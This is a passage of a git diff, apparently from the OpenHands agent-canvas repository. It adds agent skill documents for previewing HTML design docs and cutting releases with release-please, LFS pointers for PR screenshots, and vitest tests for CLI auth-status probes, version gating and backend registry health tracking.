+For drafting a throwaway or simple auxiliary graph, locally installed Mermaid can be faster
+than hand-SVG. Render it locally to static SVG, inspect and sanitize the output, then inline
+that SVG. Never ship a Mermaid runtime or CDN script in the page. For the **carrying**
+before/after diagram, hand-SVG wins - auto-layout drifts and breaks the side-by-side alignment
+that makes the delta readable.
+
+### Public repositories: commit under `.pr/` and use an htmlpreview link
+
+Because the page is **self-contained**, GitHub can render it through `htmlpreview.github.io`
+(it fetches the raw HTML and serves it with the right content-type - plain `raw.githubusercontent.com`
+won't, it returns `text/plain`). Commit the file to the PR branch under the temporary `.pr/`
+directory, then build the link and paste it in the PR description:
+
+```bash
+# commit the html under .pr/ on your PR branch (this dir is temporary, see the skill)
+git add .pr/design.html && git commit -m "docs(.pr): design doc" && git push <your-fork> <branch>
+# link template - use YOUR fork + PR branch, so it renders before the PR is merged:
+#   https://htmlpreview.github.io/?https://github.com/<fork-owner>/<repo>/blob/<pr-branch>/.pr/design.html
+```
+
+Example shape:
+`https://htmlpreview.github.io/?https://github.com/FORK_OWNER/REPO/blob/PR_BRANCH/.pr/design.html`
+
+`<pr-branch>` can be any branch or commit - `raw.githubusercontent.com` serves it regardless
+of merge state, so the doc renders while the PR is still open. Point the URL at the **fork
+and branch the PR is opened from**, not `main`.
+
+For public repositories, anyone can open the rendered page without a download or local server.
+This works with self-contained pages containing only inline CSS and SVG.
+
+### Private repositories: keep the preview private
+
+`htmlpreview` cannot fetch private repository content. Do not work around that by publishing
+the design doc to GitHub Pages or another public host. Keep the document free of external
+scripts and assets: opening a local file does not make third-party active content private.
+
+- Link authorized reviewers to the committed GitHub blob and ask them to download and open the
+  self-contained HTML file locally; or use an existing access-controlled artifact service.
+- For a local browser preview, open `.pr/design.html` directly. If the browser needs HTTP,
+  serve only on loopback:
+  ```bash
+  python -m http.server 8000 --bind 127.0.0.1 --directory .pr
+  # open http://127.0.0.1:8000/design.html
+  ```
+- Use GitHub Pages only when the user explicitly authorizes publication and an administrator
+  confirms that private Pages access control is enabled for this repository.
diff --git a/.agents/skills/release.md b/.agents/skills/release.md
new file mode 100644
index 0000000000000000000000000000000000000000..a5f000a7273460a62e0e7bd206043c09347000f5
--- /dev/null
+++ b/.agents/skills/release.md
@@ -0,0 +1,110 @@
+---
+name: release
+description: Guide the release process for @openhands/agent-canvas — review the release-please draft PR, mark it ready, merge it; the tag push publishes to npm and Docker.
+triggers:
+- release
+- new release
+- cut a release
+- publish release
+- bump version
+---
+
+# Release Process for @openhands/agent-canvas
+
+## Overview
+
+Releases are **trunk-based and automated by release-please**, via the shared reusable
+workflows in [`OpenHands/release-actions`](https://github.com/OpenHands/release-actions):
+
+1. PRs merge to `main` with **Conventional Commit titles** (`feat`, `fix`, `perf`, `docs`, `chore`, `build`, `ci`, `refactor`, `style`, `test`, `revert`). `.github/workflows/pr.yml` lints the title and applies the matching `type:` label; squash merge uses the PR title as the commit message.
+2. On every push to `main`, `.github/workflows/release.yml` runs release-please, which maintains a **draft release PR** titled `chore(main): release X.Y.Z` accumulating everything merged since the last release.
+3. The release PR pre-stages **every version bump**: `package.json`, `package-lock.json`, `config/defaults.json` (`versions.agentCanvas`), and the Docker image pins in `README.md` / `README.windows.md` (lines annotated with `x-release-please-version`).
+4. Marking the release PR **Ready for review** is the explicit cut-a-release signal: `.github/workflows/release-ready.yml` notifies `#proj-agent-canvas` on Slack and labels the PR `release: ready`.
+5. Merging the release PR makes release-please push the `vX.Y.Z` tag (using the org release App token) and create the GitHub Release. The same tag push triggers `npm-publish.yml` (npm) and `docker.yml` (multi-arch GHCR images).
+
+The next version is derived from the conventional-commit types merged since the last release: `fix` → patch, `feat` → minor, any `!` suffix or `BREAKING CHANGE` footer → major. Other types (`docs`, `chore`, `refactor`, …) appear in the release notes but do not by themselves produce a release PR. Release notes are grouped by the `type:` labels via `.github/release.yml`; there is no `CHANGELOG.md` file — GitHub Releases are the changelog.
+
+Configuration lives in `release-please-config.json` (version surfaces, draft PR) and `.release-please-manifest.json` (current released version). Maintenance releases for an older line use `release/**` branches (`release.yml` triggers there too).
+
+**Never commit to the release PR's branch by hand** — release-please owns it and force-pushes it on every push to `main`.
+
+---
+
+## Step 1: Find the Release PR
+
+```bash
+gh pr list --state open --label "autorelease: pending"
+```
+
+If no release PR is open, nothing releasable (`feat`/`fix`/breaking) has merged since the last release — or `release.yml` is failing on `main`:
+
+```bash
+gh run list --workflow=release.yml --limit=3
+```
+
+---
+
+## Step 2: Review It
+
+Open the release PR and confirm:
+
+- **The version** in the title matches expectations. It is computed from the merged commit types — if it looks wrong, check the conventional types of the PR titles merged since the last release. To force a specific version, merge a commit to `main` whose message contains a `Release-As: X.Y.Z` footer.
+- **The staged bumps** cover all version surfaces (`package.json`, `package-lock.json`, `config/defaults.json`, `README.md`, `README.windows.md`) and the notes list the expected changes.
+
+---
+
+## Step 3: Cut the Release
+
+**STOP HERE and confirm with the user before proceeding.** Marking the PR ready and merging it publishes to npm and GHCR.
+
+```bash
+gh pr ready <release-pr-number>
+```
+
+This fires the release-ready gate: a Slack notification lands in `#proj-agent-canvas` and the PR is labeled `release: ready`. Then merge the release PR (squash, like any other PR).
+
+---
+
+## Step 4: Watch the Pipeline
+
+Merging the release PR triggers `release.yml` on `main`, which pushes the `vX.Y.Z` tag and creates the GitHub Release; the tag push then fires the publish workflows:
+
+```bash
+gh run list --workflow=release.yml --limit=3
+gh run list --workflow=npm-publish.yml --limit=3
+gh run list --workflow=docker.yml --limit=3
+```
+
+---
+
+## Step 5: Verify the Release
+
+```bash
+# GitHub release
+gh release view v<version>
+
+# npm (allow ~2 min for publish to propagate)
+npm view @openhands/agent-canvas@<version>
+npm view @openhands/agent-canvas dist-tags  # stable releases get `latest`
+
+# Docker
+docker pull ghcr.io/openhands/agent-canvas:<version>
+```
+
+External install docs on docs.openhands.dev are maintained separately; update them there when closing #1073.
+
+---
+
+## Troubleshooting
+
+### No release PR appears after merging to main
+Only `feat`, `fix`, and breaking changes produce a release PR. Also check `release.yml` runs on `main` — the workflow fails by design if the org secrets `RELEASE_APP_ID` / `RELEASE_APP_PRIVATE_KEY` are unavailable (a `GITHUB_TOKEN` fallback would create a tag that never triggers the publish workflows).
+
+### The proposed version is wrong
+The version comes from the conventional-commit history since the last release. Fix forward: merge a commit to `main` with a `Release-As: X.Y.Z` footer to pin the next version.
+
+### No Slack message when the PR was marked ready
+`SLACK_BOT_TOKEN` is optional by design — the gate still applies the `release: ready` label and the release proceeds normally.
+
+### package.json version doesn't match the tag
+This cannot happen in the normal flow: release-please bumps `package.json` in the release PR and tags the resulting merge commit, and `npm-publish.yml` validates they match. If it ever fails, someone pushed a tag by hand — delete the tag and let release-please own tagging.
diff --git a/.gitattributes b/.gitattributes
index a5b6975d66345fe623f7533e35f19994a330754c..e8441f663d1ba524966e327a71899ffd25366375 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -4,3 +4,11 @@
 *.png binary
 *.ico binary
 *.icns binary
+electron/build-resources/icon.icns filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16268-02-lightbox-open.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16860-01-skills-default.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-01-list.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16605-test-results.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-02-templates.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16860-02-recommended-facet.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-04-edit-modal.png filter=lfs diff=lfs merge=lfs -text
diff --git a/.github/pr-assets/pr-16268-02-lightbox-open.png b/.github/pr-assets/pr-16268-02-lightbox-open.png
new file mode 100644
index 0000000000000000000000000000000000000000..08e4f0e6e4e9d372edb462251538b8575c9205c7
--- /dev/null
+++ b/.github/pr-assets/pr-16268-02-lightbox-open.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:290462f47a19b9068b50dd239d134728acadf719356f8822ff6cece05c7d16f7
+size 323318
diff --git a/.github/pr-assets/pr-16605-test-results.png b/.github/pr-assets/pr-16605-test-results.png
new file mode 100644
index 0000000000000000000000000000000000000000..3d442a461a1b8d0430f122c6a3fd15c16dd1469a
--- /dev/null
+++ b/.github/pr-assets/pr-16605-test-results.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:21d841229bb786493fcc05019f5c80d30d8e159df437691c0010699e7a9d4335
+size 223282
diff --git a/.github/pr-assets/pr-16676-01-list.png b/.github/pr-assets/pr-16676-01-list.png
new file mode 100644
index 0000000000000000000000000000000000000000..012ecdb72cc386fdf904ccdc921a71642fa28aa5
--- /dev/null
+++ b/.github/pr-assets/pr-16676-01-list.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:eb03768fbc1ae545cbbd9729b3cc2b47bac81ac060a42a3a45fe1e3859529766
+size 132304
diff --git a/.github/pr-assets/pr-16676-02-templates.png b/.github/pr-assets/pr-16676-02-templates.png
new file mode 100644
index 0000000000000000000000000000000000000000..60fb9f1ee4e75ad86898ae4025dd8800f51c9602
--- /dev/null
+++ b/.github/pr-assets/pr-16676-02-templates.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:944b74529e6354b31e1f11a603b27bec1a5b3dd9d4ef3c426844b630159aa681
+size 140840
diff --git a/.github/pr-assets/pr-16676-04-edit-modal.png b/.github/pr-assets/pr-16676-04-edit-modal.png
new file mode 100644
index 0000000000000000000000000000000000000000..694a5deadd397773817d6b5e68572ace5241b326
--- /dev/null
+++ b/.github/pr-assets/pr-16676-04-edit-modal.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:9cd4a0f47d9e1160f6af61c085a2aa7c8ba3e95bdd5aa28005a45917936c091e
+size 102535
diff --git a/.github/pr-assets/pr-16860-01-skills-default.png b/.github/pr-assets/pr-16860-01-skills-default.png
new file mode 100644
index 0000000000000000000000000000000000000000..bd9c0cb871b873f017c405715631e1f5dfe70901
--- /dev/null
+++ b/.github/pr-assets/pr-16860-01-skills-default.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:dd2806c5c395b80901182cbbaceeb72ff0c50dba4ed1b7c5883f20f71c891c62
+size 201598
diff --git a/.github/pr-assets/pr-16860-02-recommended-facet.png b/.github/pr-assets/pr-16860-02-recommended-facet.png
new file mode 100644
index 0000000000000000000000000000000000000000..46e123667e45d0a9fc0a7a26fc9a721aa00ffb87
--- /dev/null
+++ b/.github/pr-assets/pr-16860-02-recommended-facet.png
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:fb6cb1e3c785167c74e21d4585fb4905b09c285f48a3dec65fc435548f043731
+size 204087
diff --git a/__tests__/api/acp-service/acp-service.api.test.ts b/__tests__/api/acp-service/acp-service.api.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d35a2b6cfcba3006e0ab2c876d63383c5ba2e741
--- /dev/null
+++ b/__tests__/api/acp-service/acp-service.api.test.ts
@@ -0,0 +1,130 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import type { BashOutput } from "@openhands/typescript-client";
+import AcpService from "#/api/acp-service/acp-service.api";
+
+// Capture the command the service runs and control the BashOutput it sees.
+const executeCommand = vi.hoisted(() => vi.fn());
+vi.mock("@openhands/typescript-client/clients", () => ({
+  BashClient: class {
+    executeCommand = executeCommand;
+  },
+}));
+vi.mock("#/api/agent-server-client-options", () => ({
+  getAgentServerClientOptions: () => ({
+    host: "http://localhost",
+    workingDir: "/",
+  }),
+}));
+
+function bashOutput(partial: Partial<BashOutput>): BashOutput {
+  return {
+    id: "1",
+    timestamp: "2026-01-01T00:00:00Z",
+    command_id: "c1",
+    order: 0,
+    exit_code: 0,
+    stdout: null,
+    stderr: null,
+    kind: "BashOutput",
+    ...partial,
+  } as BashOutput;
+}
+
+beforeEach(() => vi.clearAllMocks());
+
+describe("AcpService.getAuthStatus", () => {
+  describe("claude-code (claude auth status --json)", () => {
+    it("runs the right command and maps loggedIn:true → authenticated", async () => {
+      executeCommand.mockResolvedValue(
+        bashOutput({
+          stdout: JSON.stringify({ loggedIn: true, authMethod: "claude.ai" }),
+        }),
+      );
+      await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+        "authenticated",
+      );
+      expect(executeCommand).toHaveBeenCalledWith(
+        "claude auth status --json",
+        undefined,
+        expect.any(Number),
+      );
+    });
+
+    it("maps loggedIn:false (even with a non-zero exit) → unauthenticated", async () => {
+      executeCommand.mockResolvedValue(
+        bashOutput({
+          stdout: JSON.stringify({ loggedIn: false }),
+          exit_code: 1,
+        }),
+      );
+      await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+        "unauthenticated",
+      );
+    });
+
+    it("→ unknown when the CLI is missing (exit 127, no JSON on stdout)", async () => {
+      // The "no available ACP process / CLI not installed" path.
+      executeCommand.mockResolvedValue(
+        bashOutput({
+          exit_code: 127,
+          stderr: "env: claude: No such file or directory",
+        }),
+      );
+      await expect(AcpService.getAuthStatus("claude-code")).resolves.toBe(
+        "unknown",
+      );
+    });
+  });
+
+  describe("codex (codex login status)", () => {
+    it("→ authenticated even though the CLI writes to stderr", async () => {
+      executeCommand.mockResolvedValue(
+        bashOutput({ stderr: "Logged in using ChatGPT\n" }),
+      );
+      await expect(AcpService.getAuthStatus("codex")).resolves.toBe(
+        "authenticated",
+      );
+    });
+
+    it("→ unauthenticated on 'Not logged in'", async () => {
+      executeCommand.mockResolvedValue(
+        bashOutput({ stderr: "Not logged in\n" }),
+      );
+      await expect(AcpService.getAuthStatus("codex")).resolves.toBe(
+        "unauthenticated",
+      );
+    });
+
+    it("→ unknown when the CLI is missing", async () => {
+      executeCommand.mockResolvedValue(
+        bashOutput({ exit_code: 127, stderr: "codex: command not found" }),
+      );
+      await expect(AcpService.getAuthStatus("codex")).resolves.toBe("unknown");
+    });
+  });
+
+  describe("gemini-cli (credentials file check)", () => {
+    it("→ authenticated when the creds file is present", async () => {
+      executeCommand.mockResolvedValue(bashOutput({ stdout: "present\n" }));
+      await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe(
+        "authenticated",
+      );
+      // Probes the OAuth creds file, not a (nonexistent) gemini status command.
+      expect(executeCommand.mock.calls[0][0]).toContain("oauth_creds.json");
+    });
+
+    it("→ unauthenticated when the creds file is absent", async () => {
+      executeCommand.mockResolvedValue(bashOutput({ stdout: "absent\n" }));
+      await expect(AcpService.getAuthStatus("gemini-cli")).resolves.toBe(
+        "unauthenticated",
+      );
+    });
+  });
+
+  it("→ unknown for an unprobeable provider, without running any command", async () => {
+    await expect(AcpService.getAuthStatus("openhands")).resolves.toBe(
+      "unknown",
+    );
+    expect(executeCommand).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/api/agent-profiles-service/profile-field-support.test.ts b/__tests__/api/agent-profiles-service/profile-field-support.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d2635197abe4e5599a4b14469e20fa4f77c04a40
--- /dev/null
+++ b/__tests__/api/agent-profiles-service/profile-field-support.test.ts
@@ -0,0 +1,59 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  MIN_AGENT_SERVER_VERSION_FOR_PROFILE_SWITCH_LLM_TOOL,
+  agentProfileSupportsSwitchLlmTool,
+} from "#/api/agent-profiles-service/profile-field-support";
+
+const mockGetCachedAgentServerVersion = vi.fn<() => string | null>();
+
+// Only the version *lookup* is mocked — the comparison stays the real one so
+// these cases exercise the same parser the boot-time compatibility check uses.
+vi.mock("#/api/agent-server-compatibility", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/api/agent-server-compatibility")>();
+  return {
+    ...actual,
+    getCachedAgentServerVersion: () => mockGetCachedAgentServerVersion(),
+  };
+});
+
+describe("agentProfileSupportsSwitchLlmTool", () => {
+  beforeEach(() => {
+    mockGetCachedAgentServerVersion.mockReset();
+  });
+
+  it("pins the gate to the release that added the profile field", () => {
+    expect(MIN_AGENT_SERVER_VERSION_FOR_PROFILE_SWITCH_LLM_TOOL).toBe("1.31.0");
+  });
+
+  it.each(["1.29.0", "1.29.3", "1.30.0"])(
+    "reports no support on %s, where agent profiles exist but the field does not",
+    (version) => {
+      mockGetCachedAgentServerVersion.mockReturnValue(version);
+      expect(agentProfileSupportsSwitchLlmTool()).toBe(false);
+    },
+  );
+
+  it.each(["1.31.0", "1.31.2", "1.36.1", "2.0.0"])(
+    "reports support on %s",
+    (version) => {
+      mockGetCachedAgentServerVersion.mockReturnValue(version);
+      expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+    },
+  );
+
+  it("treats a prerelease of the gating version as older", () => {
+    mockGetCachedAgentServerVersion.mockReturnValue("1.31.0-rc.1");
+    expect(agentProfileSupportsSwitchLlmTool()).toBe(false);
+  });
+
+  it("assumes support when no version is cached (cloud backends)", () => {
+    mockGetCachedAgentServerVersion.mockReturnValue(null);
+    expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+  });
+
+  it("assumes support when the reported version does not parse", () => {
+    mockGetCachedAgentServerVersion.mockReturnValue("main");
+    expect(agentProfileSupportsSwitchLlmTool()).toBe(true);
+  });
+});
diff --git a/__tests__/api/backend-registry/active-store.test.ts b/__tests__/api/backend-registry/active-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..5c8e06db69e4f62ee0b5973f25c1036ba82b0536
--- /dev/null
+++ b/__tests__/api/backend-registry/active-store.test.ts
@@ -0,0 +1,263 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  getActiveBackend,
+  getEffectiveLocalBackend,
+  NO_BACKEND_ID,
+  setActiveSelection,
+  setRegisteredBackends,
+  subscribeActiveBackend,
+} from "#/api/backend-registry/active-store";
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import { MAX_CONSECUTIVE_FAILURES } from "#/api/backend-registry/health-storage";
+import {
+  __resetHealthStoreForTests,
+  recordBackendFailure,
+} from "#/api/backend-registry/health-store";
+import {
+  ACTIVE_BACKEND_STORAGE_KEY,
+  BACKENDS_STORAGE_KEY,
+} from "#/api/backend-registry/storage";
+import {
+  BACKEND_QUERY_PARAM,
+  ORG_QUERY_PARAM,
+} from "#/api/backend-registry/url-selection";
+import type { Backend } from "#/api/backend-registry/types";
+
+beforeEach(() => {
+  window.localStorage.clear();
+  window.sessionStorage.clear();
+  __resetHealthStoreForTests();
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  window.sessionStorage.clear();
+  vi.unstubAllEnvs();
+  __resetHealthStoreForTests();
+  __resetActiveStoreForTests();
+});
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:9000",
+  apiKey: "k",
+  kind: "local",
+};
+
+const secondLocalBackend: Backend = {
+  id: "local-2",
+  name: "Local 2",
+  host: "http://localhost:9001",
+  apiKey: "k2",
+  kind: "local",
+};
+
+function markBackendUnhealthy(id: string): void {
+  for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+    recordBackendFailure(id, new Error("connection failed"));
+  }
+}
+
+describe("active-store", () => {
+  it("uses the no-backend sentinel when no backend details are available", () => {
+    window.localStorage.clear();
+    window.sessionStorage.clear();
+    vi.stubEnv("VITE_SESSION_API_KEY", "");
+    __resetActiveStoreForTests();
+
+    const { backend, orgId } = getActiveBackend();
+    expect(backend.id).toBe(NO_BACKEND_ID);
+    expect(orgId).toBeNull();
+  });
+
+  it("seeds the registry with a default local backend when host and API key are available", () => {
+    vi.stubEnv("VITE_BACKEND_BASE_URL", "http://localhost:9000");
+    vi.stubEnv("VITE_SESSION_API_KEY", "session-key");
+    __resetActiveStoreForTests();
+
+    const { backend, orgId } = getActiveBackend();
+    expect(backend.id).toBe(SEEDED_DEFAULT_BACKEND_ID);
+    expect(backend.kind).toBe("local");
+    expect(orgId).toBeNull();
+  });
+
+  it("returns the registered backend matching the active selection", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+    const { backend, orgId } = getActiveBackend();
+    expect(backend).toEqual(cloudBackend);
+    expect(orgId).toBe("org-2");
+  });
+
+  it("falls back to the first local backend when the active selection points at a removed entry", () => {
+    setRegisteredBackends([cloudBackend, localBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+    setRegisteredBackends([localBackend]);
+
+    expect(getActiveBackend().backend).toEqual(localBackend);
+    expect(getActiveBackend().orgId).toBeNull();
+  });
+
+  it("falls back to a healthy local backend when a cloud backend is registered first", () => {
+    setRegisteredBackends([cloudBackend, localBackend]);
+    setActiveSelection(null);
+
+    expect(getActiveBackend().backend).toEqual(localBackend);
+  });
+
+  it("skips an unhealthy local backend in favor of a healthy one further down", () => {
+    markBackendUnhealthy(localBackend.id);
+    setRegisteredBackends([localBackend, secondLocalBackend]);
+    setActiveSelection(null);
+
+    expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+  });
+
+  it("still selects a local backend when every local backend is unhealthy", () => {
+    markBackendUnhealthy(localBackend.id);
+    markBackendUnhealthy(secondLocalBackend.id);
+    setRegisteredBackends([cloudBackend, localBackend, secondLocalBackend]);
+    setActiveSelection(null);
+
+    const { backend } = getActiveBackend();
+    expect(backend.kind).toBe("local");
+    expect(backend.id).not.toBe(NO_BACKEND_ID);
+    // Deterministic: first local backend in insertion order.
+    expect(backend).toEqual(localBackend);
+  });
+
+  it("selects a single healthy local backend at the first registry position", () => {
+    setRegisteredBackends([localBackend]);
+    setActiveSelection(null);
+
+    expect(getActiveBackend().backend).toEqual(localBackend);
+  });
+
+  it("falls back to the first registered backend when the registry has no local entry", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection(null);
+
+    expect(getActiveBackend().backend).toEqual(cloudBackend);
+  });
+
+  it("uses the active local backend as the effective local backend", () => {
+    setRegisteredBackends([localBackend, cloudBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+
+    expect(getEffectiveLocalBackend()).toEqual(localBackend);
+  });
+
+  it("does not borrow a registered local backend when the active backend is cloud", () => {
+    setRegisteredBackends([localBackend, cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    expect(getEffectiveLocalBackend()).toBeNull();
+  });
+
+  it("keeps an explicit cloud selection even when a healthy local backend exists", () => {
+    setRegisteredBackends([localBackend, cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+    const { backend, orgId } = getActiveBackend();
+    expect(backend).toEqual(cloudBackend);
+    expect(orgId).toBe("org-2");
+  });
+
+  it("notifies subscribers when selection changes", () => {
+    const listener = vi.fn();
+    const unsubscribe = subscribeActiveBackend(listener);
+
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    expect(listener).toHaveBeenCalled();
+
+    unsubscribe();
+    listener.mockClear();
+    setActiveSelection(null);
+    expect(listener).not.toHaveBeenCalled();
+  });
+});
+
+describe("backend pinned in the URL", () => {
+  function seedRegistry(backends: Backend[], selection: string) {
+    window.localStorage.setItem(BACKENDS_STORAGE_KEY, JSON.stringify(backends));
+    window.localStorage.setItem(
+      ACTIVE_BACKEND_STORAGE_KEY,
+      JSON.stringify({ backendId: selection, orgId: null }),
+    );
+  }
+
+  function bootAt(search: string) {
+    window.history.replaceState({}, "", `/conversations/abc${search}`);
+    __resetActiveStoreForTests();
+  }
+
+  afterEach(() => {
+    window.history.replaceState({}, "", "/");
+  });
+
+  it("boots on the backend named in the URL instead of the stored one", () => {
+    seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+
+    bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+    expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+  });
+
+  it("persists the pinned selection so later in-tab navigation keeps it", () => {
+    seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+
+    bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+    expect(
+      JSON.parse(
+        window.sessionStorage.getItem(ACTIVE_BACKEND_STORAGE_KEY) ?? "null",
+      ),
+    ).toEqual({ backendId: secondLocalBackend.id, orgId: null });
+  });
+
+  it("carries the org id for a cloud backend", () => {
+    seedRegistry([localBackend, cloudBackend], localBackend.id);
+
+    bootAt(
+      `?${BACKEND_QUERY_PARAM}=${cloudBackend.id}&${ORG_QUERY_PARAM}=org-9`,
+    );
+
+    const { backend, orgId } = getActiveBackend();
+    expect(backend).toEqual(cloudBackend);
+    expect(orgId).toBe("org-9");
+  });
+
+  it("falls back to the stored selection when the URL names an unknown backend", () => {
+    seedRegistry([localBackend, secondLocalBackend], secondLocalBackend.id);
+
+    bootAt(`?${BACKEND_QUERY_PARAM}=removed-backend`);
+
+    expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+  });
+
+  it("prefers the URL over a tab-scoped sessionStorage selection", () => {
+    seedRegistry([localBackend, secondLocalBackend], localBackend.id);
+    window.sessionStorage.setItem(
+      ACTIVE_BACKEND_STORAGE_KEY,
+      JSON.stringify({ backendId: localBackend.id, orgId: null }),
+    );
+
+    bootAt(`?${BACKEND_QUERY_PARAM}=${secondLocalBackend.id}`);
+
+    expect(getActiveBackend().backend).toEqual(secondLocalBackend);
+  });
+});
diff --git a/__tests__/api/backend-registry/health-store.test.ts b/__tests__/api/backend-registry/health-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..d6788332c8cfbb82ef51fcf1287781cd4cc4e9b8
--- /dev/null
+++ b/__tests__/api/backend-registry/health-store.test.ts
@@ -0,0 +1,111 @@
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+  BACKEND_HEALTH_STORAGE_KEY,
+  MAX_CONSECUTIVE_FAILURES,
+} from "#/api/backend-registry/health-storage";
+import {
+  __resetHealthStoreForTests,
+  getBackendHealthEntry,
+  recordBackendFailure,
+  recordBackendSuccess,
+  resetBackendHealth,
+  subscribeBackendHealth,
+} from "#/api/backend-registry/health-store";
+
+const BACKEND_ID = "backend-under-test";
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetHealthStoreForTests();
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetHealthStoreForTests();
+});
+
+describe("backend health store", () => {
+  it("increments the failure count and persists to localStorage without disabling polling below the cap", () => {
+    // Arrange / Act
+    recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED"));
+    recordBackendFailure(BACKEND_ID, new Error("ECONNREFUSED"));
+
+    // Assert
+    const entry = getBackendHealthEntry(BACKEND_ID);
+    expect(entry).toMatchObject({
+      consecutiveFailures: 2,
+      disabled: false,
+      lastError: "ECONNREFUSED",
+    });
+
+    const persisted = JSON.parse(
+      window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+    );
+    expect(persisted[BACKEND_ID]).toMatchObject({
+      consecutiveFailures: 2,
+      disabled: false,
+    });
+  });
+
+  it("flips disabled=true once consecutive failures hit the cap and persists that flag", () => {
+    // Arrange / Act
+    for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+      recordBackendFailure(BACKEND_ID, new Error("timeout"));
+    }
+
+    // Assert — the cap is reached; polling-consumers will see disabled.
+    const entry = getBackendHealthEntry(BACKEND_ID);
+    expect(entry?.consecutiveFailures).toBe(MAX_CONSECUTIVE_FAILURES);
+    expect(entry?.disabled).toBe(true);
+
+    const persisted = JSON.parse(
+      window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+    );
+    expect(persisted[BACKEND_ID].disabled).toBe(true);
+  });
+
+  it("caps the failure count at the max when a disabled backend fails another recheck", () => {
+    for (let i = 0; i < MAX_CONSECUTIVE_FAILURES; i += 1) {
+      recordBackendFailure(BACKEND_ID, new Error("timeout"));
+    }
+
+    recordBackendFailure(BACKEND_ID, new Error("still down"));
+
+    const entry = getBackendHealthEntry(BACKEND_ID);
+    expect(entry).toMatchObject({
+      consecutiveFailures: MAX_CONSECUTIVE_FAILURES,
+      disabled: true,
+      lastError: "still down",
+    });
+
+    const persisted = JSON.parse(
+      window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY) ?? "{}",
+    );
+    expect(persisted[BACKEND_ID].consecutiveFailures).toBe(
+      MAX_CONSECUTIVE_FAILURES,
+    );
+  });
+
+  it("clears the entry (and storage) and notifies subscribers when the backend recovers or the user edits its config", () => {
+    // Arrange — record one failure so there is something to clear, and
+    // subscribe so we can confirm listeners get notified.
+    recordBackendFailure(BACKEND_ID, new Error("boom"));
+    let notifications = 0;
+    const unsubscribe = subscribeBackendHealth(() => {
+      notifications += 1;
+    });
+
+    // Act — `recordBackendSuccess` (probe recovers) and
+    // `resetBackendHealth` (user edits host/apiKey) share the same
+    // clear-entry semantics, so we cover both in one go.
+    recordBackendSuccess(BACKEND_ID);
+    recordBackendFailure(BACKEND_ID, new Error("again"));
+    resetBackendHealth(BACKEND_ID);
+    unsubscribe();
+
+    // Assert
+    expect(getBackendHealthEntry(BACKEND_ID)).toBeNull();
+    expect(window.localStorage.getItem(BACKEND_HEALTH_STORAGE_KEY)).toBeNull();
+    expect(notifications).toBeGreaterThanOrEqual(3);
+  });
+});
diff --git a/__tests__/api/backend-registry/last-conversation-store.test.ts b/__tests__/api/backend-registry/last-conversation-store.test.ts
new file mode 100644
